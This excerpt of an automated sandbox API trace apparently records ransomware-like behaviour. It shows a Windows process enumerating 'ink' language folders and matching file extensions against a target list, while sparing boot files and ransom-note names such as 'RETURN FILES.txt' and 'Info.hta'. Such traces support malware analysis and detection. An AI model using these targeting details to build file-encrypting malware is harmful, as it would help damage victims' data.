	[0167.813] FindNextFileW (in: hFindFile=0x6ac718, lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2f0ba2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2f0ba2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2f0ba2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0167.813] FindNextFileW (in: hFindFile=0x6ac718, lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2f0ba2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2f0ba2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2f0ba2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0167.813] FindClose (in: hFindFile=0x6ac718 | out: hFindFile=0x6ac718) returned 1
	[0167.813] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4467000 | out: hHeap=0x610000) returned 1
	[0167.813] FindNextFileW (in: hFindFile=0x6ac2d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="de-DE", cAlternateFileName="")) returned 1
	[0167.813] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4467000
	[0167.813] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\*", lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName=".", cAlternateFileName="")) returned 0x6ac718
	[0167.824] FindNextFileW (in: hFindFile=0x6ac718, lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName="..", cAlternateFileName="")) returned 1
	[0167.824] FindNextFileW (in: hFindFile=0x6ac718, lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2f0ba2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2f0ba2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2f0ba2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0167.824] FindNextFileW (in: hFindFile=0x6ac718, lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2f0ba2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2f0ba2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2f0ba2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0167.824] FindClose (in: hFindFile=0x6ac718 | out: hFindFile=0x6ac718) returned 1
	[0167.824] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4467000 | out: hHeap=0x610000) returned 1
	[0167.824] FindNextFileW (in: hFindFile=0x6ac2d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="el-GR", cAlternateFileName="")) returned 1
	[0167.824] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4467000
	[0167.824] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\*", lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName=".", cAlternateFileName="")) returned 0x6ac718
	[0167.825] FindNextFileW (in: hFindFile=0x6ac718, lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName="..", cAlternateFileName="")) returned 1
	[0167.825] FindNextFileW (in: hFindFile=0x6ac718, lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0167.825] FindNextFileW (in: hFindFile=0x6ac718, lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0167.825] FindClose (in: hFindFile=0x6ac718 | out: hFindFile=0x6ac718) returned 1
	[0167.825] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4467000 | out: hHeap=0x610000) returned 1
	[0167.825] FindNextFileW (in: hFindFile=0x6ac2d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="en-GB", cAlternateFileName="")) returned 1
	[0167.825] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4467000
	[0167.825] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\*", lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName=".", cAlternateFileName="")) returned 0x6ac718
	[0167.825] FindNextFileW (in: hFindFile=0x6ac718, lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName="..", cAlternateFileName="")) returned 1
	[0167.825] FindNextFileW (in: hFindFile=0x6ac718, lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0167.825] FindNextFileW (in: hFindFile=0x6ac718, lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0167.825] FindClose (in: hFindFile=0x6ac718 | out: hFindFile=0x6ac718) returned 1
	[0167.826] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4467000 | out: hHeap=0x610000) returned 1
	[0167.826] FindNextFileW (in: hFindFile=0x6ac2d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="en-US", cAlternateFileName="")) returned 1
	[0167.826] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4467000
	[0167.826] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\*", lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName=".", cAlternateFileName="")) returned 0x6ac718
	[0167.827] FindNextFileW (in: hFindFile=0x6ac718, lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName="..", cAlternateFileName="")) returned 1
	[0167.827] FindNextFileW (in: hFindFile=0x6ac718, lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a3b058, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a3b058, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1b2d8, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName="boxed-correct.avi", cAlternateFileName="")) returned 1
	[0167.827] FindNextFileW (in: hFindFile=0x6ac718, lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a612b1, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a612b1, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xbf28, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName="boxed-delete.avi", cAlternateFileName="")) returned 1
	[0167.828] lstrlenW (lpString="boxed-delete.avi") returned 16
	[0167.828] lstrlenW (lpString=".1cd") returned 4
	[0167.828] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0167.828] lstrlenW (lpString=".3ds") returned 4
	[0167.828] lstrcmpiW (lpString1=".3ds", lpString2=".avi") returned -1
	[0167.828] lstrlenW (lpString=".3fr") returned 4
	[0167.828] lstrcmpiW (lpString1=".3fr", lpString2=".avi") returned -1
	[0167.828] lstrlenW (lpString=".3g2") returned 4
	[0167.828] lstrcmpiW (lpString1=".3g2", lpString2=".avi") returned -1
	[0167.828] lstrlenW (lpString=".3gp") returned 4
	[0167.828] lstrcmpiW (lpString1=".3gp", lpString2=".avi") returned -1
	[0167.828] lstrlenW (lpString=".7z") returned 3
	[0167.828] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0167.828] lstrlenW (lpString=".accda") returned 6
	[0167.828] lstrcmpiW (lpString1=".accda", lpString2="te.avi") returned -1
	[0167.828] lstrlenW (lpString=".accdb") returned 6
	[0167.828] lstrcmpiW (lpString1=".accdb", lpString2="te.avi") returned -1
	[0167.828] lstrlenW (lpString=".accdc") returned 6
	[0167.828] lstrcmpiW (lpString1=".accdc", lpString2="te.avi") returned -1
	[0167.828] lstrlenW (lpString=".accde") returned 6
	[0167.828] lstrcmpiW (lpString1=".accde", lpString2="te.avi") returned -1
	[0167.828] lstrlenW (lpString=".accdt") returned 6
	[0167.828] lstrcmpiW (lpString1=".accdt", lpString2="te.avi") returned -1
	[0167.828] lstrlenW (lpString=".accdw") returned 6
	[0167.828] lstrcmpiW (lpString1=".accdw", lpString2="te.avi") returned -1
	[0167.828] lstrlenW (lpString=".adb") returned 4
	[0167.828] lstrcmpiW (lpString1=".adb", lpString2=".avi") returned -1
	[0167.828] lstrlenW (lpString=".adp") returned 4
	[0167.828] lstrcmpiW (lpString1=".adp", lpString2=".avi") returned -1
	[0167.828] lstrlenW (lpString=".ai") returned 3
	[0167.828] lstrcmpiW (lpString1=".ai", lpString2="avi") returned -1
	[0167.828] lstrlenW (lpString=".ai3") returned 4
	[0167.828] lstrcmpiW (lpString1=".ai3", lpString2=".avi") returned -1
	[0167.829] lstrlenW (lpString=".ai4") returned 4
	[0167.829] lstrcmpiW (lpString1=".ai4", lpString2=".avi") returned -1
	[0167.829] lstrlenW (lpString=".ai5") returned 4
	[0167.829] lstrcmpiW (lpString1=".ai5", lpString2=".avi") returned -1
	[0167.829] lstrlenW (lpString=".ai6") returned 4
	[0167.829] lstrcmpiW (lpString1=".ai6", lpString2=".avi") returned -1
	[0167.829] lstrlenW (lpString=".ai7") returned 4
	[0167.829] lstrcmpiW (lpString1=".ai7", lpString2=".avi") returned -1
	[0167.829] lstrlenW (lpString=".ai8") returned 4
	[0167.829] lstrcmpiW (lpString1=".ai8", lpString2=".avi") returned -1
	[0167.829] lstrlenW (lpString=".anim") returned 5
	[0167.829] lstrcmpiW (lpString1=".anim", lpString2="e.avi") returned -1
	[0167.829] lstrlenW (lpString=".arw") returned 4
	[0167.829] lstrcmpiW (lpString1=".arw", lpString2=".avi") returned -1
	[0167.829] lstrlenW (lpString=".as") returned 3
	[0167.829] lstrcmpiW (lpString1=".as", lpString2="avi") returned -1
	[0167.829] lstrlenW (lpString=".asa") returned 4
	[0167.829] lstrcmpiW (lpString1=".asa", lpString2=".avi") returned -1
	[0167.829] lstrlenW (lpString=".asc") returned 4
	[0167.829] lstrcmpiW (lpString1=".asc", lpString2=".avi") returned -1
	[0167.829] lstrlenW (lpString=".ascx") returned 5
	[0167.829] lstrcmpiW (lpString1=".ascx", lpString2="e.avi") returned -1
	[0167.829] lstrlenW (lpString=".asm") returned 4
	[0167.829] lstrcmpiW (lpString1=".asm", lpString2=".avi") returned -1
	[0167.829] lstrlenW (lpString=".asmx") returned 5
	[0167.829] lstrcmpiW (lpString1=".asmx", lpString2="e.avi") returned -1
	[0167.829] lstrlenW (lpString=".asp") returned 4
	[0167.829] lstrcmpiW (lpString1=".asp", lpString2=".avi") returned -1
	[0167.829] lstrlenW (lpString=".aspx") returned 5
	[0167.829] lstrcmpiW (lpString1=".aspx", lpString2="e.avi") returned -1
	[0167.829] lstrlenW (lpString=".asr") returned 4
	[0167.829] lstrcmpiW (lpString1=".asr", lpString2=".avi") returned -1
	[0167.829] lstrlenW (lpString=".asx") returned 4
	[0167.829] lstrcmpiW (lpString1=".asx", lpString2=".avi") returned -1
	[0167.830] lstrlenW (lpString=".avi") returned 4
	[0167.830] lstrcmpiW (lpString1=".avi", lpString2=".avi") returned 0
	[0167.830] lstrlenW (lpString="boxed-delete.avi") returned 16
	[0167.830] lstrlenW (lpString=".html") returned 5
	[0167.830] lstrcmpiW (lpString1=".html", lpString2="e.avi") returned -1
	[0167.830] lstrlenW (lpString="boxed-delete.avi") returned 16
	[0167.830] lstrcmpiW (lpString1="boot.ini", lpString2="boxed-delete.avi") returned -1
	[0167.830] lstrcmpiW (lpString1="bootfont.bin", lpString2="boxed-delete.avi") returned -1
	[0167.830] lstrcmpiW (lpString1="ntldr", lpString2="boxed-delete.avi") returned 1
	[0167.830] lstrcmpiW (lpString1="ntdetect.com", lpString2="boxed-delete.avi") returned 1
	[0167.830] lstrcmpiW (lpString1="io.sys", lpString2="boxed-delete.avi") returned 1
	[0167.830] lstrcmpiW (lpString1="RETURN FILES.txt", lpString2="boxed-delete.avi") returned 1
	[0167.830] lstrcmpiW (lpString1="Info.hta", lpString2="boxed-delete.avi") returned 1
	[0167.830] lstrcmpiW (lpString1="payload2.exe", lpString2="boxed-delete.avi") returned 1
	[0167.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0167.830] FindNextFileW (in: hFindFile=0x6ac718, lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a1d507, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1aad768, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1aad768, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb61e, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName="boxed-join.avi", cAlternateFileName="")) returned 1
	[0167.830] lstrlenW (lpString="boxed-join.avi") returned 14
	[0167.830] lstrlenW (lpString=".1cd") returned 4
	[0167.830] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0167.830] lstrlenW (lpString=".3ds") returned 4
	[0167.830] lstrcmpiW (lpString1=".3ds", lpString2=".avi") returned -1
	[0167.830] lstrlenW (lpString=".3fr") returned 4
	[0167.830] lstrcmpiW (lpString1=".3fr", lpString2=".avi") returned -1
	[0167.830] lstrlenW (lpString=".3g2") returned 4
	[0167.830] lstrcmpiW (lpString1=".3g2", lpString2=".avi") returned -1
	[0167.830] lstrlenW (lpString=".3gp") returned 4
	[0167.830] lstrcmpiW (lpString1=".3gp", lpString2=".avi") returned -1
	[0167.830] lstrlenW (lpString=".7z") returned 3
	[0167.830] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0167.830] lstrlenW (lpString=".accda") returned 6
	[0167.831] lstrcmpiW (lpString1=".accda", lpString2="in.avi") returned -1
	[0167.831] lstrlenW (lpString=".accdb") returned 6
	[0167.831] lstrcmpiW (lpString1=".accdb", lpString2="in.avi") returned -1
	[0167.831] lstrlenW (lpString=".accdc") returned 6
	[0167.831] lstrcmpiW (lpString1=".accdc", lpString2="in.avi") returned -1
	[0167.831] lstrlenW (lpString=".accde") returned 6
	[0167.831] lstrcmpiW (lpString1=".accde", lpString2="in.avi") returned -1
	[0167.831] lstrlenW (lpString=".accdt") returned 6
	[0167.831] lstrcmpiW (lpString1=".accdt", lpString2="in.avi") returned -1
	[0167.831] lstrlenW (lpString=".accdw") returned 6
	[0167.831] lstrcmpiW (lpString1=".accdw", lpString2="in.avi") returned -1
	[0167.831] lstrlenW (lpString=".adb") returned 4
	[0167.831] lstrcmpiW (lpString1=".adb", lpString2=".avi") returned -1
	[0167.831] lstrlenW (lpString=".adp") returned 4
	[0167.831] lstrcmpiW (lpString1=".adp", lpString2=".avi") returned -1
	[0167.831] lstrlenW (lpString=".ai") returned 3
	[0167.831] lstrcmpiW (lpString1=".ai", lpString2="avi") returned -1
	[0167.831] lstrlenW (lpString=".ai3") returned 4
	[0167.831] lstrcmpiW (lpString1=".ai3", lpString2=".avi") returned -1
	[0167.831] lstrlenW (lpString=".ai4") returned 4
	[0167.831] lstrcmpiW (lpString1=".ai4", lpString2=".avi") returned -1
	[0167.831] lstrlenW (lpString=".ai5") returned 4
	[0167.831] lstrcmpiW (lpString1=".ai5", lpString2=".avi") returned -1
	[0167.831] lstrlenW (lpString=".ai6") returned 4
	[0167.831] lstrcmpiW (lpString1=".ai6", lpString2=".avi") returned -1
	[0167.831] lstrlenW (lpString=".ai7") returned 4
	[0167.831] lstrcmpiW (lpString1=".ai7", lpString2=".avi") returned -1
	[0167.831] lstrlenW (lpString=".ai8") returned 4
	[0167.831] lstrcmpiW (lpString1=".ai8", lpString2=".avi") returned -1
	[0167.831] lstrlenW (lpString=".anim") returned 5
	[0167.831] lstrcmpiW (lpString1=".anim", lpString2="n.avi") returned -1
	[0167.831] lstrlenW (lpString=".arw") returned 4
	[0167.831] lstrcmpiW (lpString1=".arw", lpString2=".avi") returned -1
	[0167.831] lstrlenW (lpString=".as") returned 3
	[0167.832] lstrcmpiW (lpString1=".as", lpString2="avi") returned -1
	[0167.832] lstrlenW (lpString=".asa") returned 4
	[0167.832] lstrcmpiW (lpString1=".asa", lpString2=".avi") returned -1
	[0167.832] lstrlenW (lpString=".asc") returned 4
	[0167.832] lstrcmpiW (lpString1=".asc", lpString2=".avi") returned -1
	[0167.832] lstrlenW (lpString=".ascx") returned 5
	[0167.832] lstrcmpiW (lpString1=".ascx", lpString2="n.avi") returned -1
	[0167.832] lstrlenW (lpString=".asm") returned 4
	[0167.832] lstrcmpiW (lpString1=".asm", lpString2=".avi") returned -1
	[0167.832] lstrlenW (lpString=".asmx") returned 5
	[0167.832] lstrcmpiW (lpString1=".asmx", lpString2="n.avi") returned -1
	[0167.832] lstrlenW (lpString=".asp") returned 4
	[0167.832] lstrcmpiW (lpString1=".asp", lpString2=".avi") returned -1
	[0167.832] lstrlenW (lpString=".aspx") returned 5
	[0167.832] lstrcmpiW (lpString1=".aspx", lpString2="n.avi") returned -1
	[0167.832] lstrlenW (lpString=".asr") returned 4
	[0167.832] lstrcmpiW (lpString1=".asr", lpString2=".avi") returned -1
	[0167.832] lstrlenW (lpString=".asx") returned 4
	[0167.832] lstrcmpiW (lpString1=".asx", lpString2=".avi") returned -1
	[0167.832] lstrlenW (lpString=".avi") returned 4
	[0167.832] lstrcmpiW (lpString1=".avi", lpString2=".avi") returned 0
	[0167.832] lstrlenW (lpString="boxed-join.avi") returned 14
	[0167.832] lstrlenW (lpString=".html") returned 5
	[0167.832] lstrcmpiW (lpString1=".html", lpString2="n.avi") returned -1
	[0167.832] lstrlenW (lpString="boxed-join.avi") returned 14
	[0167.832] lstrcmpiW (lpString1="boot.ini", lpString2="boxed-join.avi") returned -1
	[0167.832] lstrcmpiW (lpString1="bootfont.bin", lpString2="boxed-join.avi") returned -1
	[0167.832] lstrcmpiW (lpString1="ntldr", lpString2="boxed-join.avi") returned 1
	[0167.832] lstrcmpiW (lpString1="ntdetect.com", lpString2="boxed-join.avi") returned 1
	[0167.832] lstrcmpiW (lpString1="io.sys", lpString2="boxed-join.avi") returned 1
	[0167.832] lstrcmpiW (lpString1="RETURN FILES.txt", lpString2="boxed-join.avi") returned 1
	[0167.832] lstrcmpiW (lpString1="Info.hta", lpString2="boxed-join.avi") returned 1
	[0167.832] lstrcmpiW (lpString1="payload2.exe", lpString2="boxed-join.avi") returned 1
	[0167.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0167.833] FindNextFileW (in: hFindFile=0x6ac718, lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a8750a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a8750a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x148de, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName="boxed-split.avi", cAlternateFileName="")) returned 1
	[0167.833] lstrlenW (lpString="boxed-split.avi") returned 15
	[0167.833] lstrlenW (lpString=".1cd") returned 4
	[0167.833] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0167.833] lstrlenW (lpString=".3ds") returned 4
	[0167.833] lstrcmpiW (lpString1=".3ds", lpString2=".avi") returned -1
	[0167.833] lstrlenW (lpString=".3fr") returned 4
	[0167.833] lstrcmpiW (lpString1=".3fr", lpString2=".avi") returned -1
	[0167.833] lstrlenW (lpString=".3g2") returned 4
	[0167.833] lstrcmpiW (lpString1=".3g2", lpString2=".avi") returned -1
	[0167.833] lstrlenW (lpString=".3gp") returned 4
	[0167.833] lstrcmpiW (lpString1=".3gp", lpString2=".avi") returned -1
	[0167.833] lstrlenW (lpString=".7z") returned 3
	[0167.833] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0167.833] lstrlenW (lpString=".accda") returned 6
	[0167.833] lstrcmpiW (lpString1=".accda", lpString2="it.avi") returned -1
	[0167.833] lstrlenW (lpString=".accdb") returned 6
	[0167.833] lstrcmpiW (lpString1=".accdb", lpString2="it.avi") returned -1
